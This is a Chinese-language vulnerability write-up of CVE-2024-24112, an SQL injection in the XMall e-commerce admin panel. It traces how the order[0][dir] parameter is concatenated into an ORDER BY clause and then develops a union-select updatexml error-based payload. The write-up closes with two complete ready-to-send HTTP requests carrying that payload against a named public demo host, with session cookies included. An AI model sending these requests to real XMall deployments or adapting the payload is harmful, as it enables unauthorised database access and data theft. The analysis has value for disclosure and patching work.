CVE-2024-24112 XMall后台管理系统 SQL 注入漏洞分析

------作者本科毕业设计项目 基于 Spring Boot + Vue 开发而成......

Affected Component

  • /item/list

  • /item/listSearch

  • /sys/log

  • /order/list

  • /member/list (need time-based blind injection)

  • /member/list/remove

项目下载地址

Exrick/xmall: 基于SOA架构的分布式电商购物商城 前后端分离 前台商城:Vue全家桶 后台管理系统:Dubbo/SSM/Elasticsearch/Redis/MySQL/ActiveMQ/Shiro/Zookeeper等 (github.com)https://github.com/Exrick/xmall/tree/master

漏洞点分析

Controller层-00 注意order0dir orderDir的传参

跟入getItemSearchList 方法

跟入selectItemByMultiCondition方法

注意到335行 与 336行 用${} 的方法进行sql语句进行拼接

进一步利用分析

分析如何如何才能进一步利用

首先order0column 要传递一个数字 用来取数组下标,而这个变量之后还拼接到了order by 第一个条件中(${orderCol}),

odderDir 要想进行sql注入必须得考虑前面有数字,

所以这样的好号 在后面直接加入if() 或者 updatexml 进行sql注入显然是不行的 ,我们还可以考虑下union select。

简单的进行下sql oder by 注入,结果都失败了。

不过由于后端没有屏蔽掉sql报错,在进行测试的时候我们发现了底层执行sql的逻辑

既然这样的话,那么我们就不用自己那软件在去测了,

select count(0) from (SELECT * FROM tb_item WHERE (title LIKE ? OR sell_point LIKE ? OR price LIKE ? OR id LIKE ?) ORDER BY id test)

研究上面的语句,如何进入sql注入。

其中test显然是我们可控的变量,要考虑union+select 首先的用")"闭合前面"(",闭合之后,我们就可以使用

union+select ,不过在这之间遇到了一点小情况,在我本地进行测试执行如下sql语句时

SELECT COUNT(0) FROM (SELECT * FROM blade_user)

sql无法执行

上网查一下解决方式 ,发现为子查询指定别名 a便可以解决报错问题

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a

这样的话select执行完整 ,我们可以进行联合注入了

有如下的payload进行测试

SELECT COUNT(0) FROM (SELECT * FROM blade_user) AS subquery_alias union select updatexml(1,concat(0x7e,user(),0x7e),1)

SELECT COUNT(0) FROM (SELECT * FROM blade_user)a union select updatexml(1,concat(0x7e,user(),0x7e),1)

ok ,现在一切准备就绪,开始sql注入了

漏洞复现
复制代码
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)+AS+subquery_alias+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close
css 复制代码
GET /item/list?draw=1&start=0&length=1&cid=-1&searchKey=1&minDate=1&maxDate=1&search%5Bvalue%5D=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=)a+union+select+updatexml(1,concat(0x7e,database(),0x7e),1)%23; HTTP/1.1
Host: xmadmin.exrick.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_90194188523e0a2d04ad3ad170c83f30=1710743075; Hm_lpvt_90194188523e0a2d04ad3ad170c83f30=1710743075; JSESSIONID=AFE210EF5FD6B308E597E4BEB06A5D86
Connection: close
复制代码
相关推荐
YOU OU1 小时前
Redis基础常识与命令
数据库·redis·缓存
Database_Cool_4 小时前
OLTP 和 OLAP 区别详解:分析型数据库和事务型数据库怎么选(附阿里云 AnalyticDB MySQL 选型指南)
数据库·mysql·阿里云
爱写代码的阿森4 小时前
鸿蒙三方库 | harmony-utils之KvUtil键值型数据库操作详解
数据库·华为·harmonyos·鸿蒙·huawei
Database_Cool_4 小时前
单机 MySQL 迁移到分布式数据库方便吗?阿里云 PolarDB-X 100% MySQL 协议兼容零改造平滑迁移
数据库·分布式·mysql
姜太小白5 小时前
【MySQL】 索引优化实战:解决 WHERE 等值 + IS NULL 查询,TEXT 字段报错 1167 的完整指南
数据库·mysql
窝子面6 小时前
手搓最简前后端协作-node
javascript·数据库
吳所畏惧6 小时前
宝塔面板Redis密码修改指南:SSH命令修改 vs 面板UI界面修改,哪个更靠谱?
运维·服务器·数据库·redis·缓存·ssh
DFT计算杂谈6 小时前
无 Root 权限在 Tesla K80 零门槛部署 DeepSeek 大模型
linux·服务器·网络·数据库·机器学习
HPFBoy6 小时前
log4net 数据库存日志正确配置
数据库